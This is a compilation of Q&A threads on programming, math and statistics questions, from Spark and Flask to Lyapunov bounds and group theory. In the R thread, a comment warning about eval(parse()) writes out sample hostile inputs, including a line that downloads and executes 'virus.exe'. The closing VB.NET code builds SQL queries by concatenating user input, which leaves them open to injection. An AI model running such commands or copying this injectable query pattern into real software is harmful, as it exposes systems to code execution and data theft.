 private router: Router,
 private recordService: RecordService) {
 this.selectedrecords = new Array<Record>(); // <-- added
}


Adding new column for DataFrame with complex column (Array>

Question: I am loading a Dataframe from an external source with the following schema:
 |-- A: string (nullable = true)
 |-- B: timestamp (nullable = true)
 |-- C: long (nullable = true)
 |-- METADATA: array (nullable = true)
 |    |-- element: struct (containsNull = true)
 |    |    |-- M_1: integer (nullable = true)
 |    |    |-- M_2: string (nullable = true)
 |    |    |-- M_3: string (nullable = true)
 |    |    |-- M_4: string (nullable = true)
 |    |    |-- M_5: double (nullable = true)
 |    |    |-- M_6: string (nullable = true)
 |    |    |-- M_7: double (nullable = true)
 |    |    |-- M_8: boolean (nullable = true)
 |    |    |-- M_9: boolean (nullable = true)
 |-- E: string (nullable = true)

Now, I need to add new column, METADATA_PARSED, with column type Array and the following case class:
case class META_DATA_COL(M_1: String, M_2: String, M_3, M_10:String)
My approach here, based on examples is to create a UDF and pass in the METADATA column. But since it is of a complex type I am having a lot of trouble parsing it.
On top of that in the UDF, for the "new" variable M_10, I need to do some string manipulation on the method as well. So I need to access each of the elements in the metadata column.
What would be the best way to approach this issue? I attempted to convert the source dataframe (+METADATA) to a case class; but that did not work as it was translated back to spark WrappedArray types upon entering the UDF.
Comment: Hi there, can you provide an example of the desired output?
Answer: you can Use something like this.
import org.apache.spark.sql.functions._

val tempdf  = df.select(
  explode( col("METADATA")).as("flat")
)

val processedDf = tempdf.select( col("flat.M_1"),col("flat.M_2"),col("flat.M_3"))

now write a udf

def processudf = udf((col1:Int,col2:String,col3:String) => /* do the processing*/)

this should help, i can provide some more help if you can provide more details on the processing.


Inequality manipulation for a vector norm

Question: How can I manipulate the following inequality to reach from
$$\dot{V}\leq -4x_1^2 +4x_1x_2 -2x_2^2 $$
to
$$\dot{V}\leq -(3-\sqrt{5}) \|x\|^2 $$
where $x=[x_1 \;x_2]^T$ is a 2D vector and $\|x\|$ is the euclidean norm of $x?$ It is related to Lyapunov stability and I need to get something of the following form:
$$\dot{V} \leq -k\|x\|^2,$$
where $k$ is some positive constant.
Comment: By norm, are you referring to the Euclidean Norm defined by $||x||=\sqrt{x_{1}^{2} + x_{2}^{2}}$?
Comment: Yes, the Euclidean Norm.
Answer: Let $x_1=a$ and $x_2=b$.
Thus, $$-4a^2+4ab-2b^2\leq-(3-\sqrt5)(a^2+b^2)$$ it's
$$(1+\sqrt5)a^2-4ab+(\sqrt5-1)b^2\geq0$$ or
$$(1+\sqrt5)^2-4(1+\sqrt5)ab+4b^2\geq0$$ or
$$((1+\sqrt5)a-2b)^2\geq0.$$
We can get a value $-3+\sqrt5$ by the following way.
Let $$-4a^2+4ab-2b^2\leq k(a^2+b^2)$$ is true for all reals $a$ and $b$.
Thus, $$(4+k)a^2-4ab+(2+k)b^2\geq0,$$ for which we need $4+k>0$ and $$4-(4+k)(2+k)\leq0$$ or
$$k^2+6k+4\geq0,$$ which since $k>-4$ (we see that even $k>-2$), gives
$$k\geq-3+\sqrt5.$$
Id est, the minimal value of $k$ for which our inequality holds for all variables it's $k=-3+\sqrt5.$
Why we took a minimal value? Because we want that the equality will occur.
Comment: @MrYouMath I added something. See now.
Comment: Amazing addition! Quick and effective!
Comment: This answer assumes that the bound is known. In control theory and Lyapunov Stability exercises this is not given. So it is not about demonstrating the validity but rather about the way how such a bound is found.
Answer: Your $\dot{V}$ can also be expressed as the following quadratic expression in $x=\begin{bmatrix}x_1 \;x_2\end{bmatrix}^\top$, namely
$$
\dot{V} = x^\top P\,x,
$$
with
$$
P = \begin{bmatrix}-4 & 2 \\ 2 & -2\end{bmatrix}.
$$
It can be shown that $P$ has the eigenvalues $\lambda_1 = -3 + \sqrt{5}$ and $\lambda_2 = -3 - \sqrt{5}$. Now when assuming that $x$ is real and by using that symmetric matrices have an orthogonal basis then $x$ can also be written as
$$
x = \alpha_1\,v_1 + \alpha_2\,v_2,
$$
with $v_1,v_2$ the normalized eigenvectors corresponding to the eigenvalues $\lambda_1,\lambda_2$ respectively and $\alpha_1,\alpha_2 \in\,\mathbb{R}$. So $\dot{V}$ can also be written as
\begin{align}
\dot{V} &= (\alpha_1\,v_1 + \alpha_2\,v_2)^\top P\,(\alpha_1\,v_1 + \alpha_2\,v_2) \\
&= (\alpha_1\,v_1 + \alpha_2\,v_2)^\top (\alpha_1\,\lambda_1\,v_1 + \alpha_2\,\lambda_2\,v_2) \\
&= \alpha_1^2\,\lambda_1 + \alpha_2^2\,\lambda_2
\end{align}
When looking for bounds of $\dot{V}$ in terms of some scalar times $\|x\|^2$ we might as well set $\|x\|^2$ to one. Since we have an orthonormal basis it holds that $\|x\|^2 = \alpha_1^2 + \alpha_2^2$. From this it can be observed that $\dot{V}$ is maximized when $\alpha_1^2 = 1$ and $\alpha_0^2 = 0$, since $\lambda_1$ is the largest eigenvalue of $P$. Similarly  $\dot{V}$ is minimized when $\alpha_1^2 = 0$ and $\alpha_0^2 = 1$, since $\lambda_2$ is the largest eigenvalue of $P$.
Answer: I will add an alternative method. Introduce polar cooridnates $x_1=r\cos \alpha$ and $x_2 = r\sin \alpha$ (note that $x_1^2+x_2^2=||\boldsymbol{x}||^2 = r^2$) to obtain
$$\dot{V} \leq -4r^2\cos^2\alpha-2r^2\sin^2\alpha+4r^2\sin \alpha\cos\alpha$$
$$\implies \dot{V}\leq -r^2\left[2\cos^2\alpha+\sin^2\alpha-2\sin \alpha \cos\alpha \right]$$
Use $\cos^2 \alpha + \sin^2 \alpha = 1$ and $2\sin \alpha \cos\alpha=\sin 2\alpha$
$$\implies \dot{V}\leq r^2\left[\sin 2\alpha-\cos^2\alpha-1\right]$$
We want to find extrema of the expression in the bracket, hence we introduce $f(\alpha)=\sin 2\alpha -\cos^2 \alpha -1 \implies f'(\alpha)=2\cos2\alpha + 2\cos\alpha\left[-\sin \alpha \right]$ set this expression equal to $0$ and try to solve the resulting equation. Check which of the values results in the highest $f(\alpha)$ it should result in your upper bound.
Alternatively, you can apply $\cos^2 \alpha = \dfrac{1+\cos 2\alpha}{2}$ to obtain
$$f(\alpha) =\dfrac{2\sin 2\alpha -\cos 2\alpha -3}{2}.$$
In the last step, we use the following observation
$$C\sin(x+y) = C\sin x\cos y +  C\cos x \sin y=A\sin x + B \cos x$$
By comparing these we obtain
$$A=C\cos y$$
$$B=C\sin y$$
$$\implies C = \sqrt{A^2+B^2} \qquad \text{only this is important}$$
$$\implies \tan y = \dfrac{B}{A} \qquad \text{not necessary}$$
For
$$f(\alpha) =\dfrac{2\sin 2\alpha -\cos 2\alpha -3}{2}=\dfrac{\sqrt{5}\sin (2\alpha + y) -3}{2}$$
$$\implies \dfrac{-\sqrt{5}-3}{2} \leq f(\alpha) \leq \dfrac{+\sqrt{5}-3}{2}.$$

This method is sometimes fast because it is often possible to get a
  crude estimate for $f(\alpha)$ here $f(\alpha)\leq 1 - 0 -1 =0$ for
  the case that the sine is $1$ and the cosine is $0$ (unrealistic but
  crude enoght to get $\dot{V}\leq 0$.


Concern about Depth First Search

Question: Prove that if G is an undirected connected graph, then each of its edges is either in the depth-first search tree or is a back edge.
Now, from intuition and in class lectures by Steven Skiena, I know that the above holds true, since it dives all the way down, and then throw a rope back to a previous vertex. I also know that DFS is great in finding cycles.
However, my problem here is that I don't know how to 'prove' that the edge is either a tree edge or a back edge.
Comment: you might get a better answer over at the CS stack exchange: http://cs.stackexchange.com/
Answer: Consider the 4 cases possible (theoretically). An edge can be:

A tree edge
A back edge
Both a tree edge and a back edge
Neither a tree edge or a back edge

To prove what is needed, you need to show that cases 3 and 4 cannot happen, i.e. lead to a contradiction.
Comment: Why doesn't he have to cover the case of forward edges?
Comment: @G.Bach The task, as he stated, was to prove that every edge is either a tree edge or a back edge. These are the only four possible cases with respect to this classification. Other types of edges may or may not help him in showing that cases 3 and 4 are not possible.

Concern about Depth First Search


Calculate the maximum a posteriori estimate

Question: I'm new to this site and was wondering if anyone could shed any light on maximum posteriori hypothesis for me. I know that the formula is:
$\hat{h}_{MAP} = \text{argmax}_h \; \; p(D|h)p(h)$
I know that $P(D|h)$ stands for the probability of $D$ given $h$ and that $p(h)$ is the prior probability of hypothesis $h$.
Here's the example that I'm trying to work through:
When a test for cancer is given to patients, 98.5% of the patients who have the disease test positive and 9.5% of the patients who do not have the disease test positive. Suppose that 8% of patients have the disease. What is the maximum a posteriori hypothesis for a patient who tests positive?
Comment: Welcome to CV! I've answered your question in the spirit of our [self-study tag](http://stats.stackexchange.com/tags/self-study/info), which you may want to add to your question.
Answer: Consider these facts in order, and you should be able to work out the answer:

Taking $\arg \max_{h} p(D|h)p(h)$ means finding $h$ that maximizes $p(D|h)p(h)$
You have two hypotheses to consider: Cancer, and not. The 8% mentioned in the problem gives you $p(h)$ for both $p(h_{cancer})$ and $p(h_{\neg cancer})$.
Likewise, the 98.5% and 9.5% can give you $p(D = +|h_{cancer})$ and $p(D = + |h_{\neg cancer})$
Answer: I think your confusion may be coming from the terms. I feel following explanation helpful, not sure if it also applies to you.

$P(h)$ means probability of hypothesis (prior), in your cancer example, it means in all human, the probability of getting cancer. The numbers are

$$P(h=1) = 0.08$$
$$P(h=0) = 1 - 0.08$$

$P(D|h)$ means the probability of getting specific data given the hypothesis (likelihood), in your cancer example, it means how the test would behave for a cancer / non-cancer people. The numbers are

$$P(D=1|h=1)=0.985$$
$$P(D=0|h=1)=1-0.985$$
$$P(D=1|h=0)=0.095$$
$$P(D=0|h=0)=1-0.095$$
The question seems to be a homework and I will not complete all for you. Can you start from here?
Comment: Hi, @hxd1011. This is not homework; however, it did appear in the end of the chapter problems for the textbook I am using. I am preparing for an exam and was working through the examples. Thanks anyway.


How to use button to display data from sqlite flask backend to the front end?

Question: I am building a front end which displays the row of data from sqlite database. For backend, I am using flask. I have a check button on the front end. What I need to do is to display the data one by one as I click the check button.
Comment: when you click button then it sends request to server (flask) and it should generate new page (full HTML) with data from database and send to browser. This is standard method - it reloads full page. If you need  without reloading page then button should run JavaScript code which use AJAX (XHR) to send request to server (flask). Flask should generate partial HTML or JSON with data from database and send it (the same way as full HTML). JavaScript will get it and it has to replace this in HTML in browser.
Answer: I would do something like this:
The first thing I would do would be to define an address in Flask that send the information that you want to the browser.
@app.route('/get_info')
def get_info():
    df = query_your_db()
        return df.to_json(orient = 'split')

And in javascript I would call this address when I press de button like this:
function render_info() {
  console.log('render_info()');
  $.post('get_info', function(data_json)
    {
        window.info= JSON.parse(data_json);

        $('#name_div').append(info);
    }
    );
}

And the html button would be like this:

Hope it helps you


How can I change the labels on a chart created with the Google Chart Tools module?

Question: I'm using both the Chart module and the Google Chart Tools module to create a chart from  the data that I'm collecting from registered users.
Here is a sample of my chart:

But how can I change the labels of the X-axis?
And I want the title to appear on the X-axis also, instead of the link. How can I do that?
Answer: That is very easy. Simply uncheck link field to original piece of content of the field you are using.
Comment: I dont have that option. Mine just shows "create a label" and "exclude from display"
Comment: I've created a new content type, called personal where user can enter test information. and the field i want show it in the graph is an integer (the test score)
Comment: I meant the field showing the url on the horizontal axis
Comment: umm it is content,sorry i'm quite a noob with drupal>_<
Comment: Content:title ??
Comment: no, it has the test score field name ,, content:(the test score field)
Comment: Can you put a print screen of what the field configuration looks like in your question
Comment: the word in the formatter list, is default, and the one above "test score" is field name


How to store or add data in socket object?

Question: I have a socket id based on this I need to get user details. So can I store user details in the socket object?
How can I add user details in the socket object?
Here, I can store this socket id in Database but I need to update it every time when a user connects or disconnect. In this case, It's effect the application performance.
I also implemented cluster mode here so I do not store these details in any global object.
Is this any way to store user detail in the socket object?
Comment: `socket.id = 123`
Comment: How can I retrieve it? Would you please provide the full details?
Answer: This Solution was helpful for me
<code>io.on("connection", async (socket) => {
   socket.data = {
    userId: "",
  };

   const allSocketUsers = await io.in(roomId).fetchSockets();

  const postCreator = allSocketUsers?.find((userSocket) => {
    return userSocket.data.userId === id;
  });

   console.log(postCreator.id);
});
</code>


How to disable user and e-mail input auto-fill?

Question: I'm trying figure out, how I can disable auto-fill or change markup of 'user' and 'e-mail' input forms, when a user is logged in.
This auto-fill feature is breaking my design, because the 'user' and 'e-mail' markup are just a text inside a div and I can't apply a correct style on it.
Answer: Something in the core stores user login and drupal use this information in every form submit, in other lines, I can't let user change 'user' and 'e-mail' inputs. BUT, I found how to change markup and correct my design. Follow...
In <code>'mytemplate'\templates\form\form-element.html.twig</code> I changed:
<code>...[omitted]...

78.   {{children}}

...[omitted]...
</code>
for:
<code>{% if logged_in and element['#type'] == 'item' %}
  <input type="text" name="{{name}}" value="{{element['#value']}}" disabled>
{% else %}
  {{ children }}
{% endif %}
</code>
And my form now looks like this:


R: evaluate a string

Question: It has proved necessary to define a function eval_string which evaluates a string as if it were an expression(/call). For example, if:
string <- 'cyl == 6 & disp > 200'

I would want:
eval_string(string, mtcars)

to be equivalent to:
eval(quote(cyl == 6 & disp > 200), mtcars)

This is my attempt:
eval_string <- function(string, ...) eval(parse(text = string), ...)

which seems to work, however, I am aware parse is frowned upon, and do not have much experience with this type of programming (whatever it is?). So my question is: is there a more canonical way of achieving what I want? To put some context behind the question, eval_string will be used in conjunction with shiny; in particular, the textInput function.
Cheers for any help.
EDIT: thanks for the comments guys. As I am using the textInput to subset a data frame, with help from Hadley's guide, I have come up with this solution also:
library(pryr)

subset_with_string <- function(string, data) {
  expr <- parse(text = string)[[1]]
  subset_calls <- c("==", "!=", "&", "|", ">", "<", ">=", "<=", "(")
  legal_call <- all(fun_calls(expr) %in% subset_calls)
  if (legal_call) {
    data[eval(expr, data), ]
  }
  else {
    stop('string does not induce a legal subset call to evaluate!')
  }
}

subset_with_string("(cyl == 6 & hp > 100) | gear == 4", mtcars)

subset_with_string("rm('importantFile.doc')", mtcars)

Comment: Hadley's Advanced R programming pages are good references for this type of programming; see for example http://adv-r.had.co.nz/Computing-on-the-language.html
Comment: Evaluation of arbitrary user input is a legitimate use case of `eval(parse())`. However, I wouldn't feel comfortable with this due to the security concerns.
Comment: I don't think that `parse` is frowned upon for this specific purpose, it's discouraged because people tend to (mis)-use it when it isn't necessary. In your case, it would appear to be required.
Comment: Regarding @Roland's security concerns, there is a secure version of eval (eval.secure) in the RAppArmor package that executes in a sandbox, and can't exercise superuser rights unless the parent process has them.
Comment: Just make sure you can assume that the string doesn't include anything like `rm('importantFile.doc')` or `donwnload.file('http://billgates.com/virus.exe'); shell.exec('virus.exe')` or even `system('donate -money $1000 -to hackers')`
Answer: To avoid using eval I have the following in a Shiny app:
dat <- try(do.call(subset, list(data,parse(text = string))), silent = TRUE)
if(!is(dat, 'try-error')) return(dat)
Answer: There's no way to "evaluate" a string (in the present sense) without parsing it. So if your input is a string then there's no way to avoid  parse.
See subset.data.frame for an idea how to do it without strings
[[EDIT]] But subset.data.frame basically eval-uates an expression in a data frame. So if for some reason you're not ok with eval and substitute (or their friends like with and  within) then it looks like then answer is no.

R: evaluate a string


Move CSS and JS cache folder

Question: I want to move the CSS and JS cache folders (sites/default/files/css and sites/default/files/js to another place. Is this possible?
I want to do this because I'm planning to have the files folder on a remote file system and I think that accessing the CSS and JS from remote would slow down the site.
Edit: I'm using Drupal 6.
Answer: I'm not saying this is the best or correct way to do it, but I think you could use hook_file_url_alter to change the url for your script and stylesheets:
 function hook_file_url_alter(&$original_uri) {
      // rewrite url for your javascript files
      if(strstr($original_url, 'sites/default/files/your-script.js')) {
          $original_url = 'http://example.com/js/your-script.js';
      }
 }

Comment: Sorry I think I misunderstood your question.
Comment: if (strstr($original_uri, 'sites/default/files/css/')) {
          $original_uri = str_replace('sites/default/files/css/','http://example.com/js/',$original_uri);
      }
Answer: Try using File Aliases

The File Aliases module allows you to use token customizable aliases
  for your uploaded files, giving you the ability to keep your file
  system organized as per usual while providing clean looking paths
  (i.e., no more '/sites/default/files/').

Features:
Customizable File Alias field using Node tokens.
Support for:
Drupal core Upload module.
FileField module.
ImageField module.
Image module.
Comment Upload module.

Support for Private and Public file systems.
Support for Views output (Fields and Nodes).
Support for FileField Paths Retroactive and Active Updating.
Required Modules:
FileField Paths (6.14 or greater)

Move CSS and JS cache folder


svn repository url

Question: I have site stored in my wamp folder under www/sitename/ now i access this by typing

    http://localhost/sitename/

Now i want to have a repository of files in this folder.When i try to checkout in svn i have given http://localhost/sitename/ in url repository.
But it is replying with error message redirects done
Unable to connect to a repository at URL 'http://localhost/sitename/'
Question 1:Will it really possible to form repository using url.If yes how this would happen in virtual host.
Question 2:How can i solve this error
Answer: http://localhost/sitename/ can't be both the website service and the SVN service.  It has to be one or the other.  When you access that URL (assuming port 80 for the http protocol) either the Apache process picks up the request and responds with the website or the SVN process picks up the request and responds with the repository.  Only one of them can listen for the request.
What you're trying to achieve isn't good practice anyway.  Your source control repository shouldn't also be the production application.  It should be separate.  So you'll want to create an SVN repository on something like http://localhost/SVN or any other non-production-application path.
While I do admire continuous deployment as a goal, skipping the deployment step altogether isn't how to achieve it :)  You should still separate the two different concerns (source control and production application) and deploy from source to production as a separate and discrete step.  Even if that step is simply a script that gets run automatically on checkin (hopefully after running any automated tests to validate the checkin before deployment).
Comment: I am using wamp and in you tube tutors they are not telling where they got the repository url could you please let me know how to get url repository
Comment: @user1093513: I'm afraid I can't really give step-by-step instructions for your system, I don't know how anything on your system is configured.  As a general word of advice, I wouldn't learn software development from YouTube :)  Essentially you need to configure your SVN service and create a repository there.  If that step was overlooked in some tutorial then you'll have to find it elsewhere.  SVN has a lot of documentation, and Googling for things like "installing SVN" or "creating an SVN repository" should help.
Answer: You need to configure SVN and Apache together. Documentation is here. However, please read David's comments. I have to agree 100%.

svn repository url


Is a pretest-posttest ANOVA with quartiles of pretest efficacy as an IV reasonable?

Question: I'm reading a paper here that does an analysis that I find odd, and I'm wondering whether it is reasonable to do what they are doing. The paper isn't available online but I think I can describe the important part:
The authors had a bunch of university students taking a science course, and they measured their "efficacy" at two points in time (pre-test before a course, and then post-test after the course).
They hypothesized that the students with the lowest pre-test efficacy would gain the most from pre to post (and that the students with the highest pre-test efficacy would improve the least). So, they divided students into quartiles based on pre-efficacy score. Then they did a two-way within ANOVA. The IVs were "trial" (pre or post) and "quartile" (1, 2, 3, or 4). The DV was efficacy. They are looking for a trial:quartile interaction (hoping that post-hoc tests will show that the lowest quartile will gain tons and the highest quartile will gain little).
I guess what concerns me is:

The "quartile" is not really a within-subjects IV, because for each subject it is constant. I imagine that in a long format, their data would have had two rows for each subject (for the efficacy scores on pre and post), and quartile would have been the same in both.
The students in the top quartile have the least to gain. The lowest quartile could very well gain more than the top quartile could actually gain (ceiling effect on the top quartile).
Also worries me that the quartile and pre-efficacy scores are highly correlated. I don't know whether this is OK, but to me the quartile is calculable from the pre-efficacy, so including both seems suspicious.
Why quartiles? Why not halves or thirds, or somehow just use the pre-efficacy directly instead of breaking it into quartiles? For example, something like <code>(post - pre) ~ pre</code> and then a negative sig effect of pre would show that as pre increases the difference score decreases?

I'm hoping to do an analysis like this, but couldn't get myself to move forward in my current state of unease over the way this analysis was done. I am not a statistician at all so I could be completely wrong here.
Comments are appreciated as to whether the analysis is sound or not.
Answer: Regarding your points:

The problem is not so much that pretest quartile is fixed, but that the data are dependent and that there will be regression to the mean.
Whether there are ceiling effects and floor effects depends on more than just quartile, it also depends on the difficulty of the test. If lots of people are getting 100 then there are clear ceiling effects, but if the high score is below the max, then there aren't. If there are ceiling and floor effects, it might be better to use beta regression, which allows for bounded dependent variables. However, eve if there are no ceiling effects it will still be the case that the students who did best can gain least.
From your description, it doesn't seem like they included both of these as IVs, but if they did, then yes, it would be a big problem
I agree that making quartiles when they could use the score instead is not optimal. Categorizing a continuous variable rarely is. The only reason for doing this that I can see is if they want to do a stratified analysis.
Comment: Thanks Peter! For point 3), they really did do that: one of the IVs was "quartile" and the other was "trial". "trial" was pre or post.

As Gaël noted, perhaps "quartile" really was between, even though they said it was within. That would make more sense to me, since then the post hocs would be one repeated-measures ANOVA per quartile.
Answer: Adding to Peter's excellent points:

Are you sure this isn't merely some terminological issue? There are many slightly different approaches to this type of data and a lot of confusion about which is which. For example, in SPSS, an ANOVA with one between-subject and one within-subject factor can be run through the "General Linear Model"/"Repeated Measures" menu item. Some people would call this a "repeated measures" or "within-subject" ANOVA while other sources describe it as a "mixed-model ANOVA".
Note that it is easy and regrettably common to apply some inappropriate "canned" statistical procedure on dependent data (e.g. by moving things around in Excel and then running an independent sample T-test or something on data in the long format) but it seems more difficult to mistakenly treat something as a "within-subject" factor, at least with many common statistical packages.

Your situation is different because there is no control group and no randomization but you might find the references given in the answers to Best practice when analysing pre-post treatment-control designs useful to think about this problem.

Not much to add besides the fact that it would seem like the biggest problem in all this.

This is generally not recommended and you can find many articles specifically criticizing this practice. Some references have been provided in Justification for low/high or tertiary splits in ANOVA


Convergent series 1/e

Question: I want to prove that:

$$\sum\limits_{i=0}^\infty \frac{(-1)^i}{i!}=\lim_{i \to \infty}\bigg(1-\frac{1}{i}\bigg)^i$$

First I need to prove series is convergent. But the partial sums of the series is not monotone sequence.Can anyone tell me how to prove that it is convergent.I tried to show it is Cauchy sequence,but I couldn't. I'd appreciate any help.
Comment: Have you tried just applying the ratio test?
Comment: @ Eu Yu.I want to solve it without using the ratio test.
Comment: How exactly would you like to proceed then? You should add to the question any restrictions imposed on the problem.
Comment: I want to show that it is convergent without using any concepts introduced after "Convergence"topic  in Analysis
Answer: Use $(\rm i)$ Leibniz's Criterion, or $(\rm ii)$ a absolute convergence considerations.
$(\rm i)$ We have that $a_k=\dfrac 1 {k!}$ is monotone descreasing with $\lim\; a_k=0$, so Leibniz's criterion says
$$\tag{1}\sum_{k=0}^\infty (-1)^k\frac 1 {k!}$$
converges.
$(\rm ii)$ $$\sum_{k=0}^\infty \frac 1 {k!}=e$$
so
$$\tag{1}\sum_{k=0}^\infty (-1)^k\frac 1 {k!}$$
converges, since it is absolutely convergent by $(1)$.
Comment: @Pilot I'm back. It'd be great if you added your solution.
Comment: Thank you Peter! I didnt know about the Leibniz Criterion.How do I show it converges to the same limit as $a_n=(1-1/n)^n$? Can you give me a hint,Should I show that $\sum\limits_{i=1}^n (-1)^i/i!$ is less than a_n for some n and greater than it for some m?
Comment: First, you should show both sequences converge to *something*. Then, use the binomial theorem to expand your $a_n$ and you'll see something nice going on. It will take a little work, but you should be able to show you can make the difference between the partial sums and the binomial sum as small as possible. Now I have to go, but I'll try and do it myself, too.
Comment: I am trying to show that the sequence $s_n-a_n$ converges to zero, but no progress yet.Does anyone know how to do that?
Comment: @Pilot In some hours I'll give it a shot and post the results.
Comment: I managed to solve,but it would be nice to see someone else's solution as well.Thank you for help :)
Answer: Consider series of absolute values $\sum\limits_{i=0}^n \frac{1}{i!}$ and then prove that $\sum\limits_{i=0}^{\infty} \frac{(-1)^i}{i!}$ is absolutely convergent.

Convergent series 1/e


pyspark equivalent of pandas groupby + apply on column

Question: I have a spark DataFrame and I would like to count the number of unique values for a variable after groupby.
In pandas I can obtain it as : df.groupby('UserName').apply(lambda x: x['Server'].nunique())
How can I get the same results when df is a pyspark dataframe?
Answer: You can use countDistinct with agg:
df.groupBy('UserName').agg(countDistinct('Server').alias('Server'))

Answer: So you can implement same logic like pandas.groupby().apply in pyspark using @pandas_udf
and which is vectorization method and faster then simple udf.
from pyspark.sql.functions import pandas_udf,PandasUDFType

df3 = spark.createDataFrame(
[("a", 1, 0), ("a", -1, 42), ("b", 3, -1), ("b", 10, -2)],
("key", "value1", "value2")
)

from pyspark.sql.types import *

schema = StructType([
    StructField("key", StringType()),
    StructField("avg_value1", DoubleType()),
    StructField("avg_value2", DoubleType()),
    StructField("sum_avg", DoubleType()),
    StructField("sub_avg", DoubleType())
])

@pandas_udf(schema, functionType=PandasUDFType.GROUPED_MAP)
def g(df):
    gr = df['key'].iloc[0]
    x = df.value1.mean()
    y = df.value2.mean()
    w = df.value1.mean() + df.value2.mean()
    z = df.value1.mean() - df.value2.mean()
    return pd.DataFrame([[gr]+[x]+[y]+[w]+[z]])

df3.groupby("key").apply(g).show()

You can use all pandas direct functions  inside def
You will get below result:
+---+----------+----------+-------+-------+
|key|avg_value1|avg_value2|sum_avg|sub_avg|
+---+----------+----------+-------+-------+
|  b|       6.5|      -1.5|    5.0|    8.0|
|  a|       0.0|      21.0|   21.0|  -21.0|
+---+----------+----------+-------+-------+

So , You can do more calculation between other fields in grouped data.and add them into dataframe in list format.


Other ways of implementing Crashplan on a LAMP setup

Question: I've got a LAMP setup running Ubuntu 12.04 server and I'd like to integrate it with CrashPlan that I use on all my other mac xserves that I'm running. The problem is that it has to run a gui application to set all the preferences and configurations. CrashPlan has an 'unsupported' tutorial on how to spoof ports and use ssh tunneling with the gui running on a desktop. I'd prefer not to do this.
Options I see are to either install a gui and somehow turn it off except when running the desktop app, or something else. Maybe theres a way to only use some sort of virtual vnc or something. I've found tutorials on installing full Gnome, XFCE and KDE, but what other options are more friendly with a server implementation that can be easily turned on and off from the cli.
Answer: Just ssh to the box with X11 forwarding enabled.  The GUI will show up on the machine you connect from.


Change the state of one item in a map in react

Question: I have a page that displays images fetched with an api call using the map method. Now what I want to do is to toggle the like or unlike state of FavoriteIcon by clicking it.
When I try to implement that using the useState hook, if I click on the FavoriteIcon in a single image, all the images are set to the same state. I want only the clicked image to change its state.
import React, { useState, useEffect } from "react";

import FavoriteIcon from "@material-ui/icons/Favorite";
import FavoriteBorderIcon from "@material-ui/icons/FavoriteBorder";

// services
import medias from "../../services/mediaServices";

function Favorites({ fetchUrl, catagory }) {
  const classes = useStyles();
  const [images, setImages] = useState([{}]);

  const [favIcon, setFavIcon] = useState();

  useEffect(() => {
    async function getData() {
        const request = await medias.getMedias(fetchUrl);
        setImages(request.data.message);
    }
    getData();
  }, [fetchUrl, enqueueSnackbar, closeSnackbar]);

  return (

          {images &&
            images.map(image => {
              return (

                    {favIcon ? (
                      <FavoriteIcon onClick={() => setFavIcon(false)} />
                    ) : (
                      <FavoriteBorderIcon onClick={() => setFavIcon(true)} />
                    )}

              );
            })}

  );
}

export default Favorites;

Comment: You should create a component called `Image` or anything and do all the logic of fav icon in that component.
Answer: Without breaking it into more components, your favIcon state needs to contain the state of all your icons.  It should be initialized with something like
images.map(image => {id: image.id, state: false})
and then you could change your onClick to just update the relevant part of state
setFavIcon([...favIcon].map(x => {if(x.id === image.id) {x.state = !x.state}; return x}))
Comment: Thanks for the help. Can you be more specific. Where do I put {id: image.id, state: false}).
Comment: Probably after the `setImages`


Any group of index 2 is normal

Question: I'm trying to understand the proof that any group of index $2$ is normal.
Let $G$ be a group and $H$ a subgroup of index $2$.
I understand that if $x\in H$ then $xH=H=Hx$ since $H$ is a subgroup. However, I don't understand why if $x\in G\setminus H$ then $xH=G\setminus H.$
I know there are other proofs of this on this site but none of them specifically address this question.
Comment: To address your specific question: Since $H$ has index $2$, by definition $G$ is partitioned into two left cosets of $H$, call them $H$ and $gH$. If $x \in G \setminus H$ then $x \not\in H$ and so $x$ must be in $gH$, and this implies that $G\setminus H \subset gH$. Conversely, if $x \in gH$ then $x \not\in H$, so $x \in G \setminus H$. This shows the opposite containment $gH \subset G \setminus H$. Since both containments hold, we have $gH = G\setminus H$. Therefore, if $x \in G \setminus H$ then $x \in gH$, i.e. the coset containing $x$ is $gH$, i.e. $xH = gH = G \setminus H$.
Answer: If $ H $ is a subgroup of index 2, then it has two cosets in $ G $, which we may denote by $ H $ and $ G - H $. If $ g \in H $, then clearly we have $ gH = Hg = H $. Otherwise, $ gH, Hg \neq H $ since $ g \notin H $, however any coset of $ H $ is either $ H $ or $ G - H $, so we must have that $ gH = Hg = G - H $. Since the left and right cosets coincide, we conclude that $ H $ is normal.
Comment: Is one coset always the subgroup itself  (In this case it is H)?

Any group of index 2 is normal


Armazenando valores DataView em uma Lista

Question: Estou fazendo a manutenção em um sistema de desconto de um cliente, o mesmo já estava pronto mas não funcional, apenas aplicava a validação do desconto se houvesse um único item.
O que eu preciso é montar uma lista que vai ser usada por um query para consultar no banco.
  Dim produtoID As New List(Of Integer)()
  Dim ProdutoBandeira As New List(Of Boolean)()

  While (reader3.Read())
                produtoID.Add(reader3.Item("ID"))
                ProdutoBandeira.Add(reader3.Item("BandeiraProduto"))
  End While

Ai é o momento onde preciso criar essa lista, infelizmente, ela só existe se houver um único elemento
Esse é o código completo
Protected Sub Button2_Click(sender As Object, e As EventArgs) Handles Button2.Click

        Dim MyConnection = New OleDbConnection(CONEXAO)
        MyConnection.Open()
        Dim comando2 As New OleDbCommand
        comando2.Connection = MyConnection
        comando2.CommandText = "SELECT * from loja_codigo WHERE codigo = '" & cupomDesconto.Text & "'"
        Dim reader2 As OleDbDataReader = comando2.ExecuteReader()
        Dim desconto As Integer
        Dim TipoCupom As Boolean

        While reader2.Read
            desconto = reader2.Item("Desconto")
            TipoCupom = reader2.Item("BandeiraProduto")
        End While

        Dim MyConnection2 = New OleDbConnection(CONEXAO)
        MyConnection2.Open()
        Dim comando3 As New OleDbCommand
        comando3.Connection = MyConnection

        Dim listaProdutos As New List(Of String)()

        For Each ObterProduto As String In Session("Produtos")
            listaProdutos.Add(ObterProduto)
        Next

        comando3.CommandText = "SELECT * from Loja_Produtos WHERE Nome = '" & String.Join(",", listaProdutos.ToArray()) & "'"

        Dim reader3 As OleDbDataReader = comando3.ExecuteReader()
        Dim produtoID As New List(Of Integer)()
        Dim ProdutoBandeira As New List(Of Boolean)()

        While (reader3.Read())
                produtoID.Add(reader3.Item("ID"))
                ProdutoBandeira.Add(reader3.Item("BandeiraProduto"))
        End While

            Dim precoItem = FormatCurrency(CDec(RTotalPedido.Value))

            Dim valorDesconto As Double
            valorDesconto = precoItem - desconto

            If desconto > 0 Then
                If LValorPedido.Text.Contains("Desconto Aplicado") Then
                    Response.Write("")
                End If
                If Not LValorPedido.Text.Contains("Desconto Aplicado") Then
